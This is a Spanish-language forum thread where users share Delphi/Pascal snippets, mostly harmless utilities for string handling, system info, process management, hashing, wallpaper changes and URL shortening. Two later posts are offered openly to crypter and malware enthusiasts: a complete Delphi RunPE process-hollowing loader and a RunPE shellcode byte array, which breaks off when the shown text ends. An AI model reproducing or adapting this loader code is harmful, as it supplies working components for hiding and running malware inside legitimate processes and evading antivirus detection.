¿Que es un Snippet?
*Es un extracto de código que suele contener una o varias Subrutinas con el propósito de realizar una tarea específica,
cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet.
Este post esta dedicado para publicar librerias o subrutinas del lenguaje Delphi/pascal,
ya que en mi punto de vista hay falta de material comparada a lenguajes estilo c++o visual basic, esto pueda ayudar a otros nuevos programadores a introducirse en este lenguaje.
*Informacion extraida del post de snippet de Elektro
Funcion para obtener el navegador prederterminado
uses
SysUtils,Registry,windows;
function getBrowser():string;
begin
with TRegistry.Create do
try
RootKey:=HKEY_CURRENT_USER;
if openkey('\Software\Clients\StartMenuInternet',false) then
begin
result:=ReadString('');
CloseKey;
end
else
result:='Unknow';
finally
free;
end;
end;
var
navegador:string;
begin
//uso de la funcion
navegador:=getBrowser();
writeln('Nuestro navegador es ',navegador);//en mi caso devolver mozilla firefox
readln;
end.
Funcion delimitator que corta una cadena entre dos delimitadores
uses
SysUtils;
function Delimitador(cadena,delm1,delm2:string):string;
var
pos1,pos2:integer;
ext,sfinal:string;
begin
sfinal:='';
pos1:=AnsiPos(delm1,cadena);
if pos1<>0 then
begin
ext:=copy(cadena,pos1+length(delm1),length(cadena)-length(delm1));
pos2:=AnsiPos(delm2,ext);
if pos2<>0 then
begin
sfinal:=copy(ext,1,pos2-1);
end;
end;
result:=sfinal;
end;
begin
//uso de la funcion
writeln(delimitador('hola_mundo_como_estas','hola','estas'));
{devolveria: _mundo_como_ }
readln;
end.
Funcion para obtener el S.O que estamos utilizando
uses
SysUtils,windows;
function getOperatingSystem: string;
var
osVersionInfo:TOSVersionInfo;
majorVersion,minorVersion:dword;
begin
Result:='Unknown';
osVersionInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
if GetVersionEx(osVersionInfo) then
begin
majorVersion:=osVersionInfo.dwMajorVersion;
minorVersion:=osVersionInfo.dwMinorVersion;
if (majorVersion=10) and (minorVersion=0) then Result:='Windows 10'
else if (majorVersion=6) and (minorVersion=3) then Result:='Windows 8.1'
else if (majorVersion=6) and (minorVersion=2) then Result:='Windows 8'
else if (majorVersion=6) and (minorVersion=1) then Result:='Windows 7'
else if (majorVersion=6) and (minorVersion=0) then Result:='Windows vista'
else if (majorVersion=5) and (minorVersion=1) then Result:='Windows xp'
end;
end;
var
SO:string;
begin
//uso de la funcion
SO:=getOperatingSystem;
writeln('Sistema operativo actual: ',SO);//Nos muestra el S.O
readln;
end.
Funcion para buscar la posicion de una cadena dentro de otra
uses
SysUtils;
function StringInStr(const Cadena,Buscar:string):integer;
var
i,pos,fin:integer;
begin
pos:=1; fin:=-1;
if length(Cadena)>=length(Buscar) then
begin
for i :=1 to length(Cadena) do
begin
if Cadena[i]=Buscar[pos] then
begin
if pos=length(Buscar) then
begin
fin:=i-length(Buscar)+1;
Break;
end;
inc(pos);
end;
end;
end;
result:=fin;
end;
var
cadena:integer;
begin
//uso de la funcion
cadena:=StringInStr('lAHola mundo','la');
writeln('Posion de m en la cadena ',cadena);//Nos regresa la posion 5
readln;
end.
Unit para cifrar y descifrar una cadena el autor es Scorpio pero la hizo en autoit
asi que yo le hice la traduccion a Delphi
unit sAlakran;
interface
uses StrUtils,SysUtils;
function sCipher(text,key:string):string;
function sUnCipher(text,key:string):string;
implementation
function asc(letras:string):integer;
begin
if length(letras)>=1 then
result:=ord(letras[1])
else
result:=0;
end;
function sCipher(text,key:string):string;
var
i,j,seed:integer;
sfinal:String;
begin
sfinal:=''; seed:=0;
for i :=1 to length(key) do
begin
seed:=(seed+asc(key)) * length(key);
key:=AnsiMidStr(key,2,length(key)-1);
end;
for j:=1 to length(text) do
begin
sfinal:=sfinal+IntToStr((ord(text[1])+seed));
text:= AnsiMidStr(text,2,length(text));
end;
result:=sfinal;
end;
function sUnCipher(text,key:string):string;
var
seed,step,tamano,i,j:integer;
sfinal:string;
begin
seed:=0; sfinal:='';
for i :=1 to length(key) do
begin
seed:=(seed+asc(key))*length(key);
key:=AnsiMidStr(key,2,length(key)-1);
end;
step:=length(inttostr(seed));
j:=step;
tamano:=length(text);
while(j<=tamano) do
begin
sfinal:=sfinal+chr(strtoint(AnsiLeftStr(text,step))-seed);
text:= AnsiMidStr(text,step+1,length(text));
j:=j+step;
end;
result:=sfinal;
end;
end.
uso:
uses
SysUtils,
sAlakran in 'sAlakran.pas';
var
cadena:string;
begin
//uso de la funcion
cadena:=sCipher('hola mundo45','12');
writeln('la cadena cifrada es ',cadena);//Nos regresa la posion 5
cadena:=sUnCipher(cadena,'12');
writeln('la cadena descifrada es ',cadena);
readln;
end.
Funcion hecha en delphi para hacer operaciones matematicas como la suma,resta,multiplciacion y potencia
utilizando string
Ejemplo tenemos la operacion ---------->(5*3)+(2^4)-(2*-3) en vez de estar realizando la operacion paso por paso la metemos dentro de un string y la evaluamos directamente
con nuestra funcion y dara el resultado correcto
al utilizar la funcion es necesario especificar los operadores aritmeticos porque sino dara error
abajo les dejo un ejemplo de su uso
program Project2;
{$APPTYPE CONSOLE}
{$WriteableConst On}//esta directiva es necearia para modificar constantes
uses
SysUtils,Math;
// Grammar:
// expression = term | expression `+` term | expression `-` term
// term = factor | term `*` factor | term `/` factor | term brackets
// factor = brackets | number | factor `^` factor
// brackets = `(` expression `)`
//Esta funcion utliza recursividad mutua
function EvaluarString(const str:string):double;
const
pos:integer=0;//inicia en cero para despues convertirse en 1
var
c:integer;
procedure eatChar; //va obteniendo caracter por caracter excepto los vacios
begin
inc(pos);
if pos<=length(str) then c:=ord(str[pos])
else c:=0;
end;
procedure eatSpace; //come los espacions en blanco
begin
while c=32 do eatChar;
end;
function parseExpresion:double; forward; //prototipo de la funcion
function parseTerm:double; forward; //prototipo de la funcion
function parseFactor:double; forward; //prototipo de la funcion
function parse:double;
var
v:double;
begin
eatChar();
v:=parseExpresion();
if c<>0 then
begin
writeln('Error en el simbolo ',char(c));
Result:=0.0;
Exit;
end;
Result:=v;
end;
function parseExpresion:double;
var
v:double;
begin
v:=parseTerm();
while(true)do
begin
eatSpace();
if c=ord('+') then //suma
begin
eatChar();
v:=v+parseTerm();
end
else if c=ord('-') then //resta
begin
eatChar();
v:=v-parseTerm();
end
else
begin
Result:=v;
break;//necesario si no entra en un bucle sin fin
end;
end;
end;
function parseTerm:double;
var
v:double;
begin
v:=parseFactor();
while True do
begin
eatSpace();
if c=ord('/') then
begin
eatChar;
v:=v/parseFactor;
end
else if((c=ord('*')) or (c=ord('('))) then //multiplicacion
begin
if c=ord('*') then eatChar;
v:=v*parseFactor();
end
else
begin
Result:=v;
break;//necesario si no entra en un bucle sin fin
end;
end;
end;
function parseFactor:double;
var
v:double;
negate:boolean;
sb:string;
begin
negate:=false;
eatSpace;
if c=ord('(') then
begin
eatChar;
v:=parseExpresion;
if c=ord(')') then eatChar;
end
else //numeros
begin
if ((c=ord('+')) or (c=ord('-'))) then //simbolos unarios positivo y negativo
begin
negate:=c=ord('-');
eatChar;
eatSpace;
end;
sb:='';
while (((c>=ord('0'))and (c<=ord('9'))) or (c=ord('.'))) do
begin
sb:=sb+chr(c);
eatChar;
end;
if length(sb)=0 then
begin
writeln('Error no existen caracterese en sb');
result:=0.0;
Exit;
end;
v:=strtofloat(sb);
end;
eatSpace;
if c=ord('^') then //exponente
begin
eatChar;
v:=Math.Power(v,parseFactor);
end;
if negate then v:=-v;
result:=v;
end;
begin
result:=parse();//retorna la operacion
end;
var
e:double;
begin
//Ejemplo de uso
e:=EvaluarString('(5*3)+(5^2)'); //evaluar expresion
writeln(e:0:2);//resultado 40
readln;
end.
Funcion para convetir de string a hexadecimal y viceversa
uses
SysUtils;
function stringToHex(const data:string):string;
var
i:integer;
sfinal:String;
begin
sfinal:='';
for i:=0 to length(data) do
begin
sfinal:=sfinal+IntToHex(ord(data[i]),2);
end;
result:=sfinal;
end;
function hexTostring(const data:string):string;
var
i:integer;
sfinal:String;
begin
i:=1;
sfinal:='';
if(length(data)mod 2<>0)then
begin
Result:='';
Exit;
end;
while(i<=length(data))do
begin
sfinal:=sfinal+chr(strtoint('$'+(Copy(data,i,2))));
i:=i+2;
end;
result:=sfinal;
end;
var
str,normal:String;
begin
str:=stringToHex('hola mundo');
writeln('En hexadecimal es ',str);
normal:=hexTostring(str);
writeln('lo regresamos a la normalidad ',normal);
readln;
end.
Funcion renombrar archivos el autor original es Elektro yo solo le hice la traduccion
function renameFile(_File:string;NewFilename:string;NewFileExtension:string=''):boolean;
begin
if FileExists(_File) then
begin
try
if NewFileExtension='' then
MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+ExtractFileExt(_File)))
else
MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+'.'+NewFileExtension));
except
on E:Exception do
result:=False;
end;
end
else
Result:=False;
end;
Funcion para obtener la arquitectura del sistema operativo
function getArchitecture:string;
var
sysInfo:SYSTEM_INFO;
begin
GetSystemInfo(sysInfo);
case sysInfo.wProcessorArchitecture of
0:result:='x86';
9:result:='x64';
else result:='unknown';
end;
end;
Funcion para obtener el numero de procesadores
function numberOfProcessors:Dword;
var
sysInfo:SYSTEM_INFO;
begin
GetSystemInfo(sysInfo);
result:=sysInfo.dwNumberOfProcessors;
end;
Funcion para obtener el tipo de procesador
function ProcessorType:string;
var
sysInfo:SYSTEM_INFO;
begin
GetSystemInfo(sysInfo);
case sysInfo.dwProcessorType of
220:result:='PROCESSOR_INTEL_IA64';
386:result:='PROCESSOR_INTEL_386';
486:result:='PROCESSOR_INTEL_486';
586:result:='PROCESSOR_INTEL_PENTIUM_586';
8664:result:='PROCESSOR_AMD_X8664';
else result:='Unknown';
end;
end;
Esta ultima funcion segun microsoft deberia estar obsoleta
no olviden añadir el use windows para poder usar las funciones
ejemplo de uso
begin
writeln('Arquitectura de la computadora ',getArchitecture()); //en mi caso x86
writeln('Numero de procesadores ',numberOfProcessors());
writeln('Tipo de procesador ', ProcessorType());//esta funcion deberia estar obsoleta
readln;
end.
Funcion para saber si un numero esta en un rango entre dos numeros,
si es cierto retorna true sino retorna false
function numberIsInRange(const number,min,max:integer):boolean;
begin
result:=((min<=number) and (number<=max));
end;
begin
writeln(numberIsInRange(5,1,100); //muestra true
writeln(numberIsInRange(0,55,98); //muestra false
writeln(numberIsInRange(25,55,98); //muestra true
Readln;
end.
Funcion que muestra los tamaños maximos de los diferentes tipos de entero
en Delphi, el enfoque principal son las funciones low y High que son las
encargadas de retornarnos ese valor, esto solo es valido con numeros enteros
y no con reales
procedure sizeMaxOfDataType;
begin
writeln('Byte -> ',low(Byte),' to ',high(Byte));
writeln('Integer -> ',low(integer),' to ',high(integer));
writeln('Int64 -> ',low(Int64),' to ',high(Int64));
writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
writeln('Longword -> ',low(Longword),' to ',high(Longword));
writeln('Word -> ',low(Word),' to ',high(Word));
end;
Funciones una para leer archivos .exe y almacenarlo como string y la otra para poder convertir strings a .exe
utilizando la clase Tfilestream
uses
SysUtils,classes;
{
Funcion que lee un fichero y lo convierte a string el caso mas comun es
cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
alterar su informacion la funcion necesita el use classes para poder llamar a
la clase Tfilestream
}
function binaryToString(const path:string):String;
var
_File:TFileStream;
size:Int64;
begin
if FileExists(path) then
begin
_File:=TFileStream.Create(path,fmOpenRead);
try
size:=_File.Size;
SetLength(result,size);
_File.Read(result[1],size);
finally
_File.Free;
end;
end
else result:='';
end;
{Funcion para crear un fichero en base a un string que le pasemos, esta
funcion se usa en conjunto con la anterior ya que despues de leer y modificar
un fichero necesitamos volver a regresarlo a un estado de fichero por eso la
necesidad de esta funcion.
}
function stringToBinary(const nameExe,source:string):Boolean;
var
_File:TFileStream;
begin
result:=false;
_File:=TFileStream.Create(nameExe,fmCreate);
try
_File.Write(source[1],length(source));
finally
_File.Free;
end;
result:=true;
end;
var
source:string;
begin
source:=binaryToString('C:\archivo.exe');
stringToBinary('C:\nuevoArchivo.exe',source);
writeln('listo');
Readln;
end.
Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++
unit Unit1;
interface
uses windows;
procedure run(szFilePath:LPSTR;pFile:PVOID);
implementation
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
procedure run(szFilePath:LPSTR;pFile:PVOID);
var
IDH:PImageDosHeader;
INH:PImageNtHeaders;
ISH:PImageSectionHeader;
PI:PROCESS_INFORMATION;
SI:STARTUPINFOA;
CTX:PContext;
dwImageBase:PDWORD;
pImageBase:LPVOID;
count:Integer;
BitesRead:SIZE_T;
ByteWritten:SIZE_T;
ByteWritten2:SIZE_T;
ByteWritten3:SIZE_T;
begin
IDH:=PImageDosHeader(pFile);
if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
begin
INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
if INH.Signature=IMAGE_NT_SIGNATURE then
begin
RtlZeroMemory(@SI,sizeof(SI));
RtlZeroMemory(@PI, sizeof(PI));
if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
begin
CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
CTX.ContextFlags:=CONTEXT_FULL;
if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
begin
ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
begin
NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
end;
pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
if pImageBase<>nil then
begin
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
for count := 0 to INH.FileHeader.NumberOfSections-1 do
BEGIN
ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
END;
WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, _CONTEXT(CTX^));
ResumeThread(PI.hThread);
end;
end;
end;
end;
end;
VirtualFree(ctx, 0, MEM_RELEASE)
end;
end.
¿Nadie va a decir nada o que? :¬¬
pues lo digo yo: GRACIAS POR COMPARTIR DESINTERESADAMENTE, muy buen aporte.
PD: El embarcadero lo tengo muerto de risa, quizás algún día lo reviva aunque sea para probar alguno de estos códigos por pura curiosidad.
Saludos!
Funciones para el tratamiento de procesos el codigo es extraido de club Delphi
uses
SysUtils,windows,TlHelp32;
{obtener el nombre de los procesos activos}
procedure obtenerProcesos;
var
continuar:BOOL;
snapshotHandle:THandle;
processEntry32:TProcessEntry32;
begin
{ Creas un Handle para leer procesos }
snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
try
{ Creás un buffer de procesos }
processEntry32.dwSize:=sizeof(processEntry32);
{ continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
continuar:=Process32First(snapshotHandle,processEntry32);
while continuar do
begin
{muestra los procesos por consola}
writeln(processEntry32.szExeFile);
{busca el siguiente proceso si retorna false sale del bucle}
continuar:=Process32Next(snapshotHandle,processEntry32);
end;
finally
{cerramos el handle llamado snapshotHandle}
CloseHandle(snapshotHandle);
end;
end;
{compruba si un proceso esta activo a traves de su nombre}
function ProcessExists(AExeName: String): boolean;
var
ContinueLoop: LongBool;
FSnapshotHandle: THandle;
FProcess: TProcessEntry32;
FExeFound: TFileName;
begin
{ Limpias el hacés un genérico para el FileName }
AExeName := UpperCase(AExeName);
Result := False;
{ Creas un Handle para leer procesos }
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
{ Creás un buffer de procesos }
FProcess.dwSize := SizeOf(FProcess);
{ ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
ContinueLoop := Process32First(FSnapshotHandle, FProcess);
while (ContinueLoop) and NOT(Result) do
begin
{ Almacenás el nombre "genéroco" del proceso encontrado }
FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
Result := (FExeFound = AExeName);
ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
end;
{ Cerrás el Handle }
CloseHandle(FSnapshotHandle);
end;
{mata algun proceso activo}
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
const
TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcess: TProcessEntry32;
FExeFound: TFileName;
Label NO_ITERATIVE;
begin
Result := False;
{ Limpias el hacés un genérico para el FileName }
AExeName := UpperCase((AExeName));
{ Creas un Handle para leer procesos }
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
{ Creás un buffer de procesos }
FProcess.dwSize := SizeOf(FProcess);
{ ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
ContinueLoop := Process32First(FSnapshotHandle, FProcess);
while (ContinueLoop) do
begin
{ Almacenás el nombre "genéroco" del proceso encontrado }
FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
if (FExeFound = AExeName) then
begin
Result := True;
{ Para matarlo lo debés abrir con el flag de TERMINATE }
TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
GoTo NO_ITERATIVE;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
end;
NO_ITERATIVE :
CloseHandle(FSnapshotHandle);
end;
begin
obtenerProcesos;//muestra el nombre de los procesos activos
writeln;
writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
Writeln('Proceso matado ',ProcessKill('calc.exe'));
readln;
end.
Funcion para obtener la ultima version del framework .NET
uses
Classes,SysUtils,Registry
{ you can add units after this };
function getNetVersion:string;
var
values:TStringList;
begin
with TRegistry.Create do
try
RootKey:=HKEY_LOCAL_MACHINE;
if OpenKey('\SOFTWARE\Microsoft\NET Framework Setup\NDP',false) then
begin
values:=TStringList.Create;
try
GetKeyNames(values);
if values.Count>0 then result:=values[values.Count-1]
else result:='Unknown';
finally
values.Free;
end;
CloseKey();
end
finally
free;
end;
end;
var
cadena:String;
begin
cadena:=getNetVersion;
writeln(cadena);
readln;
end.
Funcion para acortar urls usando la api de tinyurl, les dejo la funcion y coomo usarla
uses
SysUtils,idhttp;
function getShortUrl(const url: string): string;
var
http:TIdHTTP;
begin
http:=TIdHTTP.Create(nil); //creamos el objeto
try
Result:=http.Get('http://tinyurl.com/api-create.php?url='+url); //retornamos la url
finally
http.Free;//liberamos el objeto
end;
end;
//ejemplo de uso
var //declaramos variables
url:string;
urlCorta:string;
begin
url:='https://www.google.com.mx'; //url original
urlCorta:=getShortUrl(url); //obtenemos la url corta
writeln('La url es: ',urlCorta);//la mostramos por pantalla
Readln;
end.
Les dejo dos funciones para obtener tanto el md5 de los ficheros como de las cadenas, las funciones fuero probadas en Delphi 2010 creo que en Delphi 7 cambia un poco la forma de obtenerlo
uses
SysUtils,IdHashMessageDigest, idHash,classes;
//funcin para obtener el md5 de ficheros como los .exe
function FileMD5(const fileName : string) : string;
var
idmd5 : TIdHashMessageDigest5;
fs : TFileStream;//Es una Clase para leer ficheros como los .exe
begin
idmd5 := TIdHashMessageDigest5.Create; //creamos objeto para calcular md5
fs := TFileStream.Create(fileName, fmOpenRead OR fmShareDenyWrite) ; //stream para leer el fichero
try
result := idmd5.HashStreamAsHex(fs); //obtenemos md5 del fichero
finally
//liberamos los objetos
fs.Free;
idmd5.Free;
end
end;
//funcion para obtener el md5 de cualquier string
function StringMd5(const data : string) : string;
var
idmd5 : TIdHashMessageDigest5;
begin
idmd5 := TIdHashMessageDigest5.Create;//creamos el objeto
try
result := idmd5.HashStringAsHex(data);//retornamos el md5 del string
finally
idmd5.Free;//liberamos el objeto
end
end;
var
ruta,strMd5,cadena:string;
begin
ruta:='C:\project1.exe'; //ruta del fichero
strMd5:=FileMD5(ruta); //obtenemos md5
writeln('El md5 del fichero es ',strMd5);//lo mostramos
{-------------------------------------------}
cadena:='hola mundo';//cadena a calcular md5
strMd5:=StringMd5(cadena);//obtenemos su md5
writeln('El md5 del string es ',strMd5);//lo mostramos
readln;
end.
Funcion para cambiar el fondo al escritorio utilizando la api de windows
uses
SysUtils,
windows;
function cambiarFondo(const imagen:string):boolean;
begin
Result:=SystemParametersInfo(20,0,@imagen[1],0);
end;
var
foto:string;
begin
writeln(cambiarFondo('image.bmp'));
writeln('Imagen cambiada');
readln;
end.
Otra alternativa para cambiar el fondo de un escritorio pero ahora utilizando la interfaz IActiveDesktop
uses
SysUtils,
ComObj,ShlObj,ActiveX,windows;
function ChangeWallpaper(const Image: widestring): Boolean;
const
CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';
var
ADesktop: IActiveDesktop;
begin
CoInitialize(nil);
ADesktop := CreateComObject(CLSID_ActiveDesktop)as IActiveDesktop;
try
ADesktop.SetWallpaper(pwidechar(Image), 0);
ADesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);
finally
CoUninitialize;
end;
Result:=True;
end;
begin
ChangeWallpaper('C:\image.bmp');
Writeln('Imagen cambiada');
Readln;
end.
Funcion para decodificar una url del servicio Adf.ly
uso: le pamos la url codificada y nos retorna la original, ojo para usar esta funcion se necesita conexion a internet.
uses
SysUtils,
IdHTTP,
IdCoderMIME;
function DecodeAdFly(const url:string):string;
var
http:TIdHTTP;
content,data,urlFinal,part1,part2:string;
pos1,pos2,i,npos:integer;
const
STRINGKEY='ysmm = ';
begin
urlFinal:='';
i:=1;
http:=TIdHTTP.Create(nil);
try
content:=http.Get(url);//obtenemos el codigo html
pos1:=pos(STRINGKEY,content);//encontramos el ysmm =
pos2:=1;
npos:=pos1;
while(content[npos]<>';')do//recorremos el content hasta encontrar el ';'
begin
inc(npos);
inc(pos2);//el pos2 nos dira cuantos caracteres tiene el ysmm
end;
//data alamcenrar la cadena de ysmm
data:=copy(content,pos1+length(STRINGKEY)+1,pos2-length(STRINGKEY)-3);
while(i<=length(data)) do //filtramos la cadena llamada data
begin
part1:=part1+data[i];
part2:=data[i+1]+part2;
i:=i+2;
end;
urlFinal:=TIdDecoderMIME.DecodeString(part1+part2);//los desciframos con base64
Result:=copy(urlFinal,3,length(urlFinal)-2);//retornamos la url original
finally
http.Free; //liberamos el objeto creado arriba
end;
end;
var
url:string;
begin
url:=DecodeAdFly('http://adf.ly/dLgCS');
writeln(url);
readln;
end.
Para lo que les gusta el tema de los crypter les traigo un runpe en modo shellcode
y como usarlo
uses
SysUtils,windows;
//shellcode del runPE uso y parametros: runPE(path:pwidechar; bufferExe:pointer):cardinal;
Const
Shell: Array [0 .. 1287] Of Byte = ($60, $E8, $4E, $00, $00, $00, $6B, $00, $65, $00, $72, $00, $6E, $00, $65, $00, $6C, $00, $33, $00, $32, $00, $00, $00, $6E, $00, $74, $00, $64, $00, $6C, $00,
$6C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $5B, $8B, $FC, $6A, $42, $E8, $BB, $03, $00, $00, $8B, $54, $24, $28, $89, $11, $8B, $54, $24, $2C, $6A, $3E, $E8, $AA, $03, $00,
$00, $89, $11, $6A, $4A, $E8, $A1, $03, $00, $00, $89, $39, $6A, $1E, $6A, $3C, $E8, $9D, $03, $00, $00, $6A, $22, $68, $F4, $00, $00, $00, $E8, $91, $03, $00, $00, $6A, $26, $6A, $24, $E8, $88,
$03, $00, $00, $6A, $2A, $6A, $40, $E8, $7F, $03, $00, $00, $6A, $2E, $6A, $0C, $E8, $76, $03, $00, $00, $6A, $32, $68, $C8, $00, $00, $00, $E8, $6A, $03, $00, $00, $6A, $2A, $E8, $5C, $03, $00,
$00, $8B, $09, $C7, $01, $44, $00, $00, $00, $6A, $12, $E8, $4D, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $79, $03, $00, $00, $6A, $3E, $E8, $3B, $03, $00, $00, $8B, $D1, $6A, $1E, $E8,
$32, $03, $00, $00, $6A, $40, $FF, $32, $FF, $31, $FF, $D0, $6A, $12, $E8, $23, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $4F, $03, $00, $00, $6A, $1E, $E8, $11, $03, $00, $00, $8B, $09,
$8B, $51, $3C, $6A, $3E, $E8, $05, $03, $00, $00, $8B, $39, $03, $FA, $6A, $22, $E8, $FA, $02, $00, $00, $8B, $09, $68, $F8, $00, $00, $00, $57, $51, $FF, $D0, $6A, $00, $E8, $E8, $02, $00, $00,
$68, $88, $FE, $B3, $16, $51, $E8, $14, $03, $00, $00, $6A, $2E, $E8, $D6, $02, $00, $00, $8B, $39, $6A, $2A, $E8, $CD, $02, $00, $00, $8B, $11, $6A, $42, $E8, $C4, $02, $00, $00, $57, $52, $6A,
$00, $6A, $00, $6A, $04, $6A, $00, $6A, $00, $6A, $00, $6A, $00, $FF, $31, $FF, $D0, $6A, $12, $E8, $A9, $02, $00, $00, $68, $D0, $37, $10, $F2, $51, $E8, $D5, $02, $00, $00, $6A, $22, $E8, $97,
$02, $00, $00, $8B, $11, $6A, $2E, $E8, $8E, $02, $00, $00, $8B, $09, $FF, $72, $34, $FF, $31, $FF, $D0, $6A, $00, $E8, $7E, $02, $00, $00, $68, $9C, $95, $1A, $6E, $51, $E8, $AA, $02, $00, $00,
$6A, $22, $E8, $6C, $02, $00, $00, $8B, $11, $8B, $39, $6A, $2E, $E8, $61, $02, $00, $00, $8B, $09, $6A, $40, $68, $00, $30, $00, $00, $FF, $72, $50, $FF, $77, $34, $FF, $31, $FF, $D0, $6A, $36,
$E8, $47, $02, $00, $00, $8B, $D1, $6A, $22, $E8, $3E, $02, $00, $00, $8B, $39, $6A, $3E, $E8, $35, $02, $00, $00, $8B, $31, $6A, $22, $E8, $2C, $02, $00, $00, $8B, $01, $6A, $2E, $E8, $23, $02,
$00, $00, $8B, $09, $52, $FF, $77, $54, $56, $FF, $70, $34, $FF, $31, $6A, $00, $E8, $10, $02, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $3C, $02, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $12,
$E8, $F9, $01, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $25, $02, $00, $00, $6A, $22, $E8, $E7, $01, $00, $00, $8B, $11, $83, $C2, $06, $6A, $3A, $E8, $DB, $01, $00, $00, $6A, $02, $52, $51,
$FF, $D0, $6A, $36, $E8, $CE, $01, $00, $00, $C7, $01, $00, $00, $00, $00, $B8, $28, $00, $00, $00, $6A, $36, $E8, $BC, $01, $00, $00, $F7, $21, $6A, $1E, $E8, $B3, $01, $00, $00, $8B, $11, $8B,
$52, $3C, $81, $C2, $F8, $00, $00, $00, $03, $D0, $6A, $3E, $E8, $9F, $01, $00, $00, $03, $11, $6A, $26, $E8, $96, $01, $00, $00, $6A, $28, $52, $FF, $31, $6A, $12, $E8, $8A, $01, $00, $00, $68,
$5B, $E8, $14, $CF, $51, $E8, $B6, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $26, $E8, $73, $01, $00, $00, $8B, $39, $8B, $09, $8B, $71, $14, $6A, $3E, $E8, $65, $01, $00, $00, $03, $31, $6A,
$26, $E8, $5C, $01, $00, $00, $8B, $09, $8B, $51, $0C, $6A, $22, $E8, $50, $01, $00, $00, $8B, $09, $03, $51, $34, $6A, $46, $E8, $44, $01, $00, $00, $8B, $C1, $6A, $2E, $E8, $3B, $01, $00, $00,
$8B, $09, $50, $FF, $77, $10, $56, $52, $FF, $31, $6A, $00, $E8, $2A, $01, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $56, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $36, $E8, $13, $01, $00,
$00, $8B, $11, $83, $C2, $01, $89, $11, $6A, $3A, $E8, $05, $01, $00, $00, $8B, $09, $3B, $CA, $0F, $85, $33, $FF, $FF, $FF, $6A, $32, $E8, $F4, $00, $00, $00, $8B, $09, $C7, $01, $07, $00, $01,
$00, $6A, $00, $E8, $E5, $00, $00, $00, $68, $D2, $C7, $A7, $68, $51, $E8, $11, $01, $00, $00, $6A, $32, $E8, $D3, $00, $00, $00, $8B, $11, $6A, $2E, $E8, $CA, $00, $00, $00, $8B, $09, $52, $FF,
$71, $04, $FF, $D0, $6A, $22, $E8, $BB, $00, $00, $00, $8B, $39, $83, $C7, $34, $6A, $32, $E8, $AF, $00, $00, $00, $8B, $31, $8B, $B6, $A4, $00, $00, $00, $83, $C6, $08, $6A, $2E, $E8, $9D, $00,
$00, $00, $8B, $11, $6A, $46, $E8, $94, $00, $00, $00, $51, $6A, $04, $57, $56, $FF, $32, $6A, $00, $E8, $86, $00, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $B2, $00, $00, $00, $83, $C4, $0C,
